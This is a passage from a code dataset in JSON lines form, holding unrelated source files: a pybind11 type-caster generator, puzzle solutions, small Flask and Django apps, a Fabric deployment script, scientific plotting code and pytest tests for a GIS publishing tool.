\"%s\" not found' % include)\n  return results\n\n\ndef generate_from(ast: ast_pb2.AST,\n                  include_paths: List[str]) -> Generator[str, None, None]:\n  \"\"\"Generates type casters based on Clif_PyObjFrom and Clif_PyObjAs.\n\n  Args:\n    ast: CLIF ast protobuf.\n    include_paths: The directories that the code generator tries to find the\n      header files.\n\n  Yields:\n    pybind11 type casters code.\n  \"\"\"\n  includes = set(ast.usertype_includes)\n\n  for include in includes:\n    # Not generating type casters for the builtin types.\n    # Not scanning headers generated by pybind11 code generator because the\n    # `// CLIF USE` in those headers do not have associated `Clif_PyObjFrom` or\n    # `Clif_PyObjAs`.\n    if (include.startswith('clif/python') or\n        # Excluding absl::Status and absl::StatusOr\n        include.startswith('util/task/python')):\n      continue\n    clif_uses = _get_clif_uses(include, include_paths)\n    for clif_use in clif_uses:\n      yield from _generate_type_caster(clif_use.py_name, clif_use.cpp_name,\n                                       clif_use.generate_load,\n                                       clif_use.generate_cast)\n\n\ndef _generate_type_caster(\n    py_name: str, cpp_name: str, generate_load: bool,\n    generate_cast: bool) -> Generator[str, None, None]:\n  \"\"\"Generates pybind11 type caster code.\"\"\"\n  yield 'namespace pybind11 {'\n  yield 'namespace detail {'\n  yield f'template <> struct type_caster<{cpp_name}> {{'\n  yield ' public:'\n  yield I + f'PYBIND11_TYPE_CASTER({cpp_name}, _(\"{py_name}\"));'\n  yield ''\n  if generate_load:\n    yield I + 'bool load(handle src, bool) {'\n    yield I + I + 'using ::clif::Clif_PyObjAs;'\n    yield I + I + 'return Clif_PyObjAs(src.ptr(), &value);'\n    yield I + '}'\n    yield ''\n  if generate_cast:\n    yield I + (f'static handle cast({cpp_name} src, return_value_policy, '\n               'handle) {')\n    yield I + I + 'using ::clif::Clif_PyObjFrom;'\n    yield I + I + 'return Clif_PyObjFrom(src, {});'\n    yield I + '}'\n  yield '};'\n  yield '}  // namespace detail'\n  yield '}  // namespace pybind11'\n  yield ''\n\n","sub_path":"clif/pybind11/type_casters.py","file_name":"type_casters.py","file_ext":"py","file_size_in_byte":4479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"310573340","text":"from string import ascii_lowercase\nimport numpy as np\n\nwith open('./2017/input/aoc2017_04.txt', 'r') as f:\n    data = f.read().split('\\n')\n\ndef part_1(data):\n    valid_phrases = 0\n    for l in data:\n        d = l.split()\n        valid = True\n        for i in range(len(d)):\n            if d[i] in d[:i]:\n                valid = False\n                break\n            if d[i] in d[i+1:]:\n                valid = False\n                break\n        if valid:\n            valid_phrases += 1\n    return valid_phrases\n\ndef part_2(data):\n    valid_phrases = 0\n    for l in data:\n        d = l.split()\n        valid = True\n        for i in range(len(d)):\n            for j in range(i+1, len(d)):\n                if len(d[i]) == len(d[j]):\n                    w0 = np.zeros(len(ascii_lowercase))\n                    w1 = np.zeros(len(ascii_lowercase))\n                    for k in d[i]:\n                        w0[ord(k)-ord('a')] += 1\n                    for k in d[j]:\n                        w1[ord(k)-ord('a')] += 1\n                    if all(w0 == w1):\n                        valid = False\n        if valid:\n            valid_phrases += 1\n    return valid_phrases\n\n\nprint(part_1(data))\nprint(part_2(data))\n","sub_path":"2017/aoc2017_04.py","file_name":"aoc2017_04.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"125950629","text":"import string, random\nimport operator\ngoal = 'abcdefghijklmnopqrstuvwxyzaaaaaaaaadsafasdfasdaaaa'\n\n\nclass indiv:\n\tdef __init__(self,str,score):\n\t\tself.str = str\n\t\tself.score = 0\n\nclass group:\n\tdef __init__(self, mutation, generation):\n\t\tself.mutation = 20\n\t\tself.generation = 0\n\t\tself.list = []\n\t\tself.finish = 0\n\tdef fitness(self):\n\t\tfor indivdual in self.list:\n\t\t\ti = 0\n\t\t\tscore_ = 0\n\t\t\tindivdual.score = 0\n\t\t\tfor letter in indivdual.str:\n\t\t\t\tif (letter == goal[i]):\n\t\t\t\t\tscore_+=1\n\t\t\t\ti+=1\n\t\t\tindivdual.score = pow(2,int(score_))\n\t\t\t#print('score', score_, 'str = ',indivdual.str)\n\n\n\tdef overcross(self):\n\t\tself.fitness()\n\t\tself.list = sorted(self.list, key=lambda indiv: indiv.score, reverse = True)\n\t\tprint(self.list[0].str)\n\t\tnewlist = []\n\t\tfor i in range(8000):\n\t\t\tindex1 = random.randrange(1, 100)\n\t\t\tindex2 = random.randrange(1, 100)\n\t\t\tparent1 = self.list[index1].str\n\t\t\tparent2 = self.list[index2].str\n\t\t\tnewstr = ''\n\n\t\t\tfor letter in range(len(goal)):\n\t\t\t\tseed = random.randrange(0, 50)\n\t\t\t\tif(seed < 23):\n\t\t\t\t\tnewstr = newstr + parent1[letter]\n\t\t\t\telif(seed >= 23 & seed <= 43):\n\t\t\t\t\tnewstr = newstr + parent2[letter]\n\t\t\t\telse:\n\t\t\t\t\tnewstr = newstr + randomString(1) #getting random letter\n\n\t\t\tif(newstr == goal):\n\t\t\t\tself.finish = 1\n\t\t\t\tprint(newstr)\n\t\t\t\tbreak\n\t\t\tnewlist.append(indiv(newstr,0))\n\n\t\tfor i in range(2000):\n\t\t\tnewlist.append(self.list[i])\n\n\t\tself.fitness()\n\t\tself.list = newlist\n\t\tself.generation+=1\n\n\ndef randomString(stringLength):\n    letters = string.ascii_lowercase\n    return ''.join(random.choice(letters) for i in range(stringLength))\n\ncreature = group(0,0)\n\nfor i in range(10000):\n\tnew_str = randomString(len(goal))\n\tcreature.list.append(indiv(new_str,0))\n\nwhile creature.finish == 0:\n\tcreature.overcross()\n\nprint(creature.generation,'generations')\n\n\t\t\t\n\n\n\t\n\n\t\t\n\n","sub_path":"genetic_algo/genetic_algo.py","file_name":"genetic_algo.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"200013632","text":"from app import app\nfrom flask import render_template, flash, redirect, url_for, request\nfrom app import db\nfrom app.models import Contact\n\n@app.route('/')\n@app.route('/index')\ndef index():\n\tall_data = Contact.query.all()\n\treturn render_template('index.html', contacts = all_data)\n\n@app.route('/view_contact/<int:id>')\ndef view_contact(id):\n\tmy_data = Contact.query.get(id)\n\treturn render_template(\"view_contact.html\", contact = my_data)\n\n@app.route('/add_contact/', methods=['GET','POST'])\ndef add_contact():\n    if request.method == \"POST\":\n        first_name = request.form['first_name']\n        last_name = request.form['last_name']\n        phone_number = request.form['phone_number']\n        email = request.form['email']\n        note = request.form['note']\n        my_data = Contact(first_name, last_name, phone_number, email, note)\n        db.session.add(my_data)\n        db.session.commit()\n        flash(\"Contact Added Sucessfully\")\n        return redirect(url_for(\"index\"))\n    return render_template(\"add_contact.html\")\n\n@app.route('/edit_contact/<int:id>',methods = ['GET', 'POST'])\ndef edit_contact(id):\n\tif request.method == \"POST\":\n\t\tmy_data = Contact.query.get(id)\n\t\tmy_data.first_name = request.form['first_name']\n\t\tmy_data.last_name= request.form['last_name']\n\t\tmy_data.phone_number = request.form['phone_number']\n\t\tmy_data.email = request.form['email']\n\t\tmy_data.note = request.form['note']\n\t\tdb.session.commit()\n\t\tflash(\"Product updated succesfully\")\n\t\treturn redirect(url_for(\"index\"))\n\telse:\n\t\tcontact = Contact.query.get(id)\n\t\treturn render_template(\"edit_contact.html\", contact = contact)\n\n@app.route(\"/delete_contact/<int:id>\")\ndef delete_contact(id):\n\tmy_data = Contact.query.get(id)\n\tdb.session.delete(my_data)\n\tdb.session.commit()\n\tflash(\"Product Deleted succesfully\")\n\treturn redirect(url_for(\"index\"))\n\n","sub_path":"fullstack_projects/contact_manager/app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"263475998","text":"from discord.ext import menus\nfrom utils.useful import Embed\n\nclass PlaylistSource(menus.ListPageSource):\n    def __init__(self, data, playlist):\n        super().__init__(data, per_page=10)\n        self.playlist = playlist\n\n    async def format_page(self, menu, entries):\n        em = Embed(\n            description=f\"\\🎶 Playlist `{self.playlist.name}` with `{self.playlist.length}` songs\\n\"+\"\\n\".join(entries)\n        )\n        em.set_footer(text=f\"Viewing page {menu.current_page + 1}/{self.get_max_pages()}\")\n        return em\n\nclass QueueSource(menus.ListPageSource):\n    def __init__(self, data, player):\n        super().__init__(data, per_page=10)\n        self.player = player\n\n    async def format_page(self, menu, entries):\n        em = Embed(\n            description=f\"**Currently playing:**\\n **1.** [{self.player.current.title}]({self.player.current.uri})\\nRequested by {self.player.current.requester.mention}\\n\\n\"+\n                        f\"**Next up [{self.player.queue.qsize()}]: **\\n\" + \n                         \"\\n\".join(entries)\n        )\n        em.set_footer(text=f\"Page {menu.current_page + 1} of {self.get_max_pages()} | Looping track: {'❌' if not self.player.looping else '✅' }\")\n        return em\n","sub_path":"main/utils/paginations.py","file_name":"paginations.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"76069227","text":"# coding: utf-8\n\n__author__ = 'zakharan'\n\nimport unittest\n\nfrom jassrealtime.core.settings_utils import *\n\n\nclass MyTestCase(unittest.TestCase):\n    def test_get_settings_default_location(self):\n        set = get_settings()\n        self.assertEqual(set['SERVER_NAME'], \"localhost\")\n\n\nif __name__ == '__main__':\n    unittest.main()\n","sub_path":"jasstests/jassrealtime/core/test_settings_utils.py","file_name":"test_settings_utils.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"618241429","text":"from django.contrib import admin\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('', views.select_group, name='select_group'),\n    path('chat/<path:id>', views.chat, name='chat'),\n    path('settings/<path:id>', views.settings, name='settings'),\n    path('add/<path:group_id>/<path:user_id>', views.add, name='add'),\n    path('remove/<path:group_id>/<path:user_id>', views.remove, name='remove'),\n    path('load_messages/', views.load_messages, name='load_messages')\n]\n","sub_path":"Chattie/Group_messages/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"70369669","text":"def solution(participant, completion):\n    participant.sort()\n    completion.sort()\n    answer = participant[len(participant)-1]\n    for i in range(len(completion)):\n        if(participant[i] != completion[i]):\n            answer = participant[i]\n            break\n    return answer\n\ndef main():\n    print(solution([\"leo\", \"kiki\", \"eden\"], [\"eden\", \"kiki\"]))\n    print(solution([\"marina\", \"josipa\", \"nikola\", \"vinko\", \"filipa\"], [\"josipa\", \"filipa\", \"marina\", \"nikola\"]))\n    print(solution([\"mislav\", \"stanko\", \"mislav\", \"ana\"], [\"stanko\", \"ana\", \"mislav\"]))\n    print(solution([\"a\", \"b\", \"c\", \"d\", \"b\", \"d\"], ['a', 'b', 'b', 'd', 'd']))\n\nif __name__ == \"__main__\":\n    main()","sub_path":"00_practice/04_완주하지 못한 선수.py","file_name":"04_완주하지 못한 선수.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"253918434","text":"from tkinter import *\r\nimport requests as r\r\nfrom bs4 import BeautifulSoup as bsp\r\nw=Tk()\r\nw.title(\"corona update\")\r\nw.geometry(\"700x500\")\r\ndef covd():\r\n    if(e.get()==\"world\"):\r\n        url=\"https://www.worldometers.info/coronavirus/\"\r\n    else:\r\n        url=\"https://www.worldometers.info/coronavirus/country/\"+e.get()\r\n    page=r.get(url)\r\n    soup=bsp(page.content,\"html.parser\")\r\n    #print(soup)\r\n    info=soup.find_all(class_=\"maincounter-number\")\r\n    l=[]\r\n    for item in info:\r\n        l.append(item.get_text())\r\n    l1=Label(w,text=\"Coronavirus Cases in \"+e.get()+\":\"+l[0]).pack()\r\n    #l1.config(w,text=\"Coronavirus Cases in \"+e.get()+\":\"+l[0]).pack()\r\n    l2=Label(w,text=\"Deaths in \"+e.get()+\":\"+l[1]).pack()\r\n    l3=Label(w,text=\"Recovered in \"+e.get()+\":\"+l[2]).pack()\r\ne=Entry(w,width=60)\r\ne.pack()\r\nb=Button(w,text=\"submit\",command=covd).pack()\r\nw.mainloop()\r\n","sub_path":"covid_cases_tracker.py","file_name":"covid_cases_tracker.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"650460550","text":"import os\n\n\nclass BatchRename:\n    def __init__(self):\n        self.path = '/home/xkjs/PycharmProjects/pre_process/plot_result/'\n\n    def rename(self):\n        filelist = os.listdir(self.path)\n        total_num = len(filelist)\n        i = 0\n        for item in filelist:\n            if item.__contains__(\"'\"):\n                # print(item)\n                print(str(item.replace(\"'\", \"\")))\n                new_item = str(item.replace(\"'\", \"\"))\n                src = os.path.join(os.path.abspath(self.path), item)\n                if i < 1000:\n                    dst = os.path.join(os.path.abspath(self.path), new_item)\n\n                try:\n                    os.rename(src, dst)\n                    print('converting %s to %s ...' % (src, dst))\n                    i = i + 1\n                except:\n                    continue\n        print('total %d to rename %d images' % (total_num, i))\n\n\nif __name__ == '__main__':\n    demo = BatchRename()\n    demo.rename()\n","sub_path":"batch_rename.py","file_name":"batch_rename.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"354259975","text":"import pandas as pd\nimport numpy as np\nimport json\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport sys\n\n# http://tinyurl.com/mbhn3t6\n\nroad_filename = '../../../data/roads.json'\n\nprint('load data...')\nusecols = ['starting_latitude', 'starting_longitude']\ndf = pd.read_csv(\n    '../../../data/data_train_competition.csv', usecols=usecols)\ndf.columns = ['lat', 'lon']\ndf = df.sample(frac=0.01)\n\nXtr = df.as_matrix(['lat', 'lon'])\n\nwith open(road_filename, 'r') as f:\n    roads = json.load(f)\n\nprint('calculate distances...')\nroads_dist = np.zeros((len(roads), len(Xtr)))\n\nfor roadi, road in enumerate(roads):\n    sys.stdout.write('\\r%4.1f' % (100*roadi/len(roads)))\n    sys.stdout.flush()\n    assert len(road) > 1\n    road = np.asarray(road)\n\n    A = road[:-1][:, :, np.newaxis]\n    B = road[1:][:, :, np.newaxis]\n\n    C = Xtr\n    C = np.rollaxis(C, 1)[np.newaxis, :, :]\n    C = np.repeat(C, len(A), 0)\n\n    AB = B-A\n    AC = C-A\n    cross = AB[:, 0, :]*AC[:, 1, :] - AB[:, 1, :]*AC[:, 0, :]\n    distAB = np.sqrt((A[:, 0, :]-B[:, 0, :])**2 + (A[:, 1, :]-B[:, 1, :])**2)\n    distBC = np.sqrt((B[:, 0, :]-C[:, 0, :])**2 + (B[:, 1, :]-C[:, 1, :])**2)\n    distAC = np.sqrt((A[:, 0, :]-C[:, 0, :])**2 + (A[:, 1, :]-C[:, 1, :])**2)\n\n    dist = np.abs(cross / distAB)\n\n    # check if outside the segment\n    BC = C-B\n    dot1 = AB[:, 0, :]*BC[:, 0, :] + AB[:, 1, :]*BC[:, 1, :]\n    dot2 = (-AB[:, 0, :])*AC[:, 0, :] + (-AB[:, 1, :])*AC[:, 1, :]\n\n    res = \\\n        (dot1 >= 0)*distBC + \\\n        (dot2 >= 0)*distAC + \\\n        np.logical_and(dot1 < 0, dot2 < 0)*dist\n    roads_dist[roadi] = np.min(res, 0)\n\nsys.stdout.write('\\r            \\r')\n\nno_road = np.array(np.repeat(0.002, len(Xtr)), ndmin=2)\nroads_dist = np.r_[roads_dist, no_road]\nroadss = np.argmin(roads_dist, 0)\n\nprint('plot...')\ncolors = cm.Accent(np.linspace(0, 1, len(roads)))\nblack = np.array((0, 0, 0, 1), ndmin=2)\ncolors = np.r_[colors, black]\nmycolors = [colors[i] for i in roadss]\nplt.scatter(Xtr[:, 0], Xtr[:, 1], 3, mycolors)\nplt.show()\n","sub_path":"tests/segmentation/roads.py","file_name":"roads.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"637027373","text":"import os\nfrom fabric.api import cd, run\nfrom fabric.contrib.files import exists, upload_template\n\nDEPLOY_REPO_URL = os.environ['DEPLOY_REPO_URL']\nDEPLOY_TARGET = os.environ['DEPLOY_TARGET']\nDEPLOY_VENV_PATH = os.environ['DEPLOY_VENV_PATH']\nDEPLOY_VENV_NAME = os.environ['DEPLOY_VENV_NAME']\nDEPLOY_DEBUG = os.environ['DEPLOY_DEBUG']\nDEPLOY_DATABASE_URL = os.environ['DEPLOY_DATABASE_URL']\nDEPLOY_SECRET_KEY = os.environ['DEPLOY_SECRET_KEY']\nDEPLOY_CSRF_COOKIE_SECURE = os.environ['DEPLOY_CSRF_COOKIE_SECURE']\nDEPLOY_SESSION_COOKIE_SECURE = os.environ['DEPLOY_SESSION_COOKIE_SECURE']\nDEPLOY_USER = os.environ['DEPLOY_USER']\nDEPLOY_DB_NAME = os.environ['DEPLOY_DB_NAME']\nDEPLOY_DB_USER = os.environ['DEPLOY_DB_USER']\nDEPLOY_SUPERVISOR_NAME = os.environ['DEPLOY_SUPERVISOR_NAME']\n\n\ndef _get_latest_source():\n    run('mkdir -p {}'.format(DEPLOY_TARGET))\n    if exists(os.path.join(DEPLOY_TARGET, '.hg')):\n        run('cd {} && hg pull -u'.format(DEPLOY_TARGET))\n    else:\n        run('hg clone {} {}'.format(DEPLOY_REPO_URL, DEPLOY_TARGET))\n        run('cd {} && hg update'.format(DEPLOY_TARGET))\n\n\ndef _create_dirs():\n    # Ensure that required directories exist.\n    with cd(DEPLOY_TARGET):\n        run('mkdir -p logs && mkdir -p media')\n\n\ndef _update_venv():\n    # Assumes that virtualenv is installed system-wide.\n    with cd(DEPLOY_VENV_PATH):\n        if not exists('{}/bin/pip'.format(DEPLOY_VENV_NAME)):\n            run('virtualenv {}'.format(DEPLOY_VENV_NAME))\n        run('{}/bin/pip install -r requirements.txt'.format(DEPLOY_VENV_NAME))\n\n\ndef _setup_env():\n    with cd(DEPLOY_TARGET):\n        context = {\n            'DEPLOY_DEBUG': DEPLOY_DEBUG,\n            'DEPLOY_DATABASE_URL': DEPLOY_DATABASE_URL,\n            'DEPLOY_SECRET_KEY': DEPLOY_SECRET_KEY,\n            'DEPLOY_CSRF_COOKIE_SECURE': DEPLOY_CSRF_COOKIE_SECURE,\n            'DEPLOY_SESSION_COOKIE_SECURE': DEPLOY_SESSION_COOKIE_SECURE,\n        }\n        upload_template('templates/env.jinja', '.env', context, use_jinja=True, backup=False)\n\n\ndef _setup_supervisor_conf():\n    with cd(DEPLOY_TARGET):\n        context = {\n            'DEPLOY_SUPERVISOR_NAME': DEPLOY_SUPERVISOR_NAME,\n            'DEPLOY_USER': DEPLOY_USER,\n            'DEPLOY_TARGET': DEPLOY_TARGET,\n            'DEPLOY_VENV_PATH': DEPLOY_VENV_PATH,\n            'DEPLOY_VENV_NAME': DEPLOY_VENV_NAME,\n        }\n        upload_template(\n            'templates/supervisor.jinja', '{}.conf'.format(DEPLOY_SUPERVISOR_NAME),\n            context, use_jinja=True, backup=False)\n\n\ndef _chown():\n    # Assumes that the DEPLOY_USER user exists on the target server.\n    run('chown -R {0}:{0} {1}'.format(DEPLOY_USER, DEPLOY_TARGET))\n\n\ndef _collectstatic():\n    with cd(DEPLOY_TARGET):\n        run_str = 'source {}/{}/bin/activate && honcho run python manage.py collectstatic --noinput'\n        run(run_str.format(DEPLOY_VENV_PATH, DEPLOY_VENV_NAME), shell='/bin/bash')\n\n\ndef _create_db():\n    # This script assumes that PGHOST and PGUSER are set.\n    db = {\n        'NAME': os.environ['DEPLOY_DB_NAME'],\n        'USER': os.environ['DEPLOY_DB_USER'],\n    }\n    sql = '''CREATE DATABASE {NAME} OWNER {USER};\n        \\c {NAME}'''.format(**db)\n    run('echo \"{}\" | psql -d postgres'.format(sql))\n\n\ndef _migrate():\n    with cd(DEPLOY_TARGET):\n        run_str = 'source {}/{}/bin/activate && honcho run python manage.py migrate'\n        run(run_str.format(DEPLOY_VENV_PATH, DEPLOY_VENV_NAME), shell='/bin/bash')\n\n\n# --------------------------------------------------\n# IBMS-specific scripts\n# --------------------------------------------------\ndef deploy_env():\n    \"\"\"Normally used to deploy a new environment. Won't harm an existing one.\n    Example usage: honcho run fab deploy_env --user=root --host=aws-oim-001\n    \"\"\"\n    _get_latest_source()\n    _create_dirs()\n    _update_venv()\n    _setup_env()\n    _chown()\n    _setup_supervisor_conf()  # After the _chown step.\n    _collectstatic()\n\n\ndef deploy_db():\n    \"\"\"Normally used to deploy a new database (idempotent).\n    Example usage: honcho run fab deploy_db --user=root --host=aws-oim-001\n    \"\"\"\n    _create_db()\n    _migrate()\n\n\ndef deploy_all():\n    \"\"\"Deploy to a new environment in one step. Non-destructive, but will\n    raise lots of errors for an existing environment.\n    \"\"\"\n    deploy_env()\n    deploy_db()\n\n\ndef deploy_update():\n    \"\"\"Update only: pulls repo changes, runs migrations, runs collectstatic.\n    \"\"\"\n    _get_latest_source()\n    _update_venv()\n    _migrate()\n    _collectstatic()\n","sub_path":"fabfile.py","file_name":"fabfile.py","file_ext":"py","file_size_in_byte":4481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"177216545","text":"# At one value of beta_e, plot resolution scan frequencies\r\nfrom numpy import *\r\nfrom scipy import special\r\nfrom scipy import optimize\r\nimport matplotlib.pyplot as plt\r\nimport math\r\nfrom matplotlib import rc\r\n\r\ndef plasmaDisp(z):\r\n    return 1j*sqrt(pi)*exp(-z**2)*(1+special.erf(1j*z))\r\n\r\ndef derivPlasmaDisp(z):\r\n    return -2*(1+z*plasmaDisp(z))\r\n\r\ndef eps(z,beta_e_val):\r\n    return (m_i/m_e*beta_e_val*z**2-1)*(1+z*plasmaDisp(z)) - kPerpRho**2\r\n\r\ndef derivEps(z,beta_e_val):\r\n    return (2*m_i/m_e*beta_e_val*z)*(1+z*plasmaDisp(z)) + (m_i/m_e*beta_e_val*z**2-1)*(plasmaDisp(z)+z*derivPlasmaDisp(z))\r\n\r\n# Number of points to calculate damping rate at\r\nm_i = 1.672621777e-27\r\nm_e = 9.10938188e-31\r\nmu0 = 4e-7*pi\r\nkPar = 0.5\r\nB = 1\r\nTe0 = 250\r\neV = 1.602176565e-19\r\n\r\ntol = 1e-8\r\n\r\nkPerpRho = 0.1\r\nnSim = 9.947e19\r\n\r\nbeta_e = 2*mu0*Te0*eV*nSim/B**2\r\nvA = B/sqrt(mu0*m_i*nSim)\r\n# Initial guess for z0 = omega/(k*sqrt(2)*vTe) using approximate expression for wave frequency\r\nz0 = vA/(sqrt(2*Te0*eV/m_e)*sqrt(1+2/beta_e*m_e/m_i*kPerpRho**2))\r\n# Root finder call\r\nz0 = optimize.newton(eps,z0,derivEps,(beta_e,),tol,10000)\r\n# Store exact result\r\nexactFreq = fabs(z0.real*sqrt(2*Te0*eV/m_e)/vA);\r\n# Lame way to create list of three elements of same value\r\nexactFreqList = [exactFreq, exactFreq, exactFreq]\r\n\r\n# Data measured from simulation\r\ncflList = [0.01, 0.001, 0.0001]\r\ntSimList = [2.343682e-6, 2.343678e-6, 2.343677e-6]\r\nomegaSim = zeros(len(cflList))\r\n# Compute normalized simulation frequencies\r\nfor index, tSim in enumerate(tSimList):\r\n  # Really normalized to k*vA\r\n  # Divide by 2 to compare with wave freq\r\n  omegaSim[index] = 0.5*(2*pi/tSim)/(kPar*B/sqrt(mu0*nSim*m_i))\r\n\r\nplt.semilogx(cflList, omegaSim,'r-o',label='Sim')\r\nplt.semilogx(cflList, exactFreqList,'b-o',label='Exact')\r\n\r\nplt.ylabel(r'$\\omega/(k_\\parallel v_A)$', color='r')\r\nplt.xlabel('CFL Number')\r\nplt.legend(loc='right')\r\nplt.title(r'Time Step Scan for $k_\\perp \\rho_s$=0.1, $\\beta_e$=0.01')\r\n#plt.ylim([0,8])\r\n#plt.autoscale(enable=True,axis='y',tight=True)\r\nplt.savefig('kaw_0_1_time.pdf')\r\nplt.show()\r\n#plt.close()\r\n","sub_path":"eric/ionacousticKinetic/emComparisons/kPerp_0_1_time_scan/computeKAWDispersion_time.py","file_name":"computeKAWDispersion_time.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"128119501","text":"from datetime import datetime\nimport uuid\n\nimport pytest\nimport requests_mock\n\nfrom slingshot.app import (\n    create_record,\n    GeoServer,\n    HttpSession,\n    make_slug,\n    make_uuid,\n    publish_layer,\n    publishable_layers,\n    Solr,\n    unpack_zip,\n)\n\n\ndef test_unpack_zip_extracts_to_bucket(s3, shapefile):\n    with open(shapefile, 'rb') as fp:\n        s3.Bucket(\"upload\").put_object(Key=\"bermuda.zip\", Body=fp)\n    unpack_zip(\"upload\", \"bermuda.zip\", \"store\")\n    objs = [o.key for o in s3.Bucket(\"store\").objects.all()]\n    assert 'bermuda/bermuda.shp' in objs\n\n\ndef test_create_record_creates_record(shapefile_object):\n    record = create_record(shapefile_object, \"http://example.com\",\n                           \"http://example.com/download\")\n    assert record.dct_provenance_s == 'MIT'\n    assert record.dct_references_s.get(\n        'http://www.opengis.net/def/serviceType/ogc/wms') == \\\n        'http://example.com/wms'\n    assert record.dct_references_s.get(\"http://schema.org/downloadUrl\") == \\\n        \"http://example.com/download/{}\".format(record.layer_slug_s)\n    assert record.layer_id_s == \"public:bermuda\"\n\n\ndef test_create_record_adds_fgdc_url(shapefile_object):\n    record = create_record(shapefile_object, \"http://example.com\",\n                           \"http://example.com/download\")\n    assert record.dct_references_s.\\\n        get(\"http://www.opengis.net/cat/csw/csdgm\") == \\\n        \"https://store.s3.amazonaws.com/bermuda/bermuda.xml\"\n\n\ndef test_geoserver_adds_shapefile(shapefile_object):\n    geoserver = GeoServer(\"mock://example.com/geoserver/\", HttpSession())\n    with requests_mock.Mocker() as m:\n        m.post(\"mock://example.com/geoserver/rest/workspaces/public/\"\n               \"datastores/pg/featuretypes\")\n        geoserver.add(shapefile_object)\n        assert m.request_history[0].text == \\\n            '{\"featureType\": {\"name\": \"bermuda\"}}'\n\n\ndef test_solr_adds_layer_to_solr():\n    with requests_mock.Mocker() as m:\n        m.post('mock://example.com/update/json/docs')\n        s = Solr('mock://example.com/', HttpSession())\n        s.add({'foo': 'bar'})\n        assert m.request_history[0].json() == {'foo': 'bar'}\n\n\ndef test_solr_deletes_by_query():\n    with requests_mock.Mocker() as m:\n        m.post('mock://example.com/update')\n        s = Solr('mock://example.com/', HttpSession())\n        s.delete()\n        assert m.request_history[0].json() == \\\n            {'delete': {'query': 'dct_provenance_s:MIT'}}\n\n\ndef test_solr_commits_changes():\n    with requests_mock.Mocker() as m:\n        m.post('mock://example.com/update')\n        s = Solr('mock://example.com/', HttpSession())\n        s.commit()\n        assert m.request_history[0].json() == {'commit': {}}\n\n\ndef test_make_uuid_creates_uuid_string():\n    assert make_uuid('bermuda', 'mit.edu') == \\\n        uuid.UUID('df04b29c-0e51-58a8-8a37-557e4f4917df')\n\n\ndef test_make_slug_creates_slug():\n    assert make_slug('bermuda') == 'mit-34clfhaokfmkq'\n\n\n@pytest.mark.integration\ndef test_publish_layer_makes_fgdc_public(s3, shapefile, db):\n    s3.Bucket(\"upload\").upload_file(shapefile, \"bermuda.zip\")\n    with requests_mock.Mocker() as m:\n        m.post(\"mock://example.com/geoserver/rest/workspaces/public/\"\n               \"datastores/pg/featuretypes\")\n        m.post(\"mock://example.com/solr/update/json/docs\")\n        publish_layer(\"upload\", \"bermuda.zip\",\n                      GeoServer(\"mock://example.com/geoserver\", HttpSession()),\n                      Solr(\"mock://example.com/solr\", HttpSession()),\n                      \"store\", \"mock://example.com/ogc\",\n                      \"mock://example.com/download\")\n    obj = s3.Bucket(\"store\").Object(\"bermuda/bermuda.xml\")\n    grants = [g for g in obj.Acl().grants if g['Grantee'].get(\"URI\") ==\n              'http://acs.amazonaws.com/groups/global/AllUsers']\n    assert grants.pop()['Permission'] == 'READ'\n\n\n@pytest.mark.integration\ndef test_publish_layer_uses_ogc_proxy_url(s3, shapefile, db):\n    s3.Bucket(\"upload\").upload_file(shapefile, \"bermuda.zip\")\n    with requests_mock.Mocker() as m:\n        m.post(\"mock://example.com/geoserver/rest/workspaces/public/\"\n               \"datastores/pg/featuretypes\")\n        m.post(\"mock://example.com/solr/update/json/docs\")\n        publish_layer(\"upload\", \"bermuda.zip\",\n                      GeoServer(\"mock://example.com/geoserver\", HttpSession()),\n                      Solr(\"mock://example.com/solr\", HttpSession()),\n                      \"store\", \"mock://example.com/ogc/\",\n                      \"mock://example.com/download\")\n    obj = s3.Bucket(\"store\").Object(\"bermuda/geoblacklight.json\")\n    assert \"mock://example.com/ogc/wms\" in obj.get()['Body'].read()\\\n        .decode('utf8')\n\n\ndef test_publishable_layers_includes_new_layer(s3, dynamo_table):\n    upload = s3.Bucket(\"upload\")\n    upload.put_object(Key=\"foo.zip\", Body=\"Some data\")\n    layers = list(publishable_layers(upload, dynamo_table))\n    assert layers.pop() == \"foo.zip\"\n\n\ndef test_publishable_layers_includes_updated_layer(s3, dynamo_table):\n    awhile_ago = datetime(1980, 1, 1).isoformat()\n    dynamo_table.put_item(Item={\"LayerName\": \"foo\",\n                                \"LastMod\": awhile_ago})\n    upload = s3.Bucket(\"upload\")\n    upload.put_object(Key=\"foo.zip\", Body=\"Some data\")\n    layers = list(publishable_layers(upload, dynamo_table))\n    assert layers.pop() == 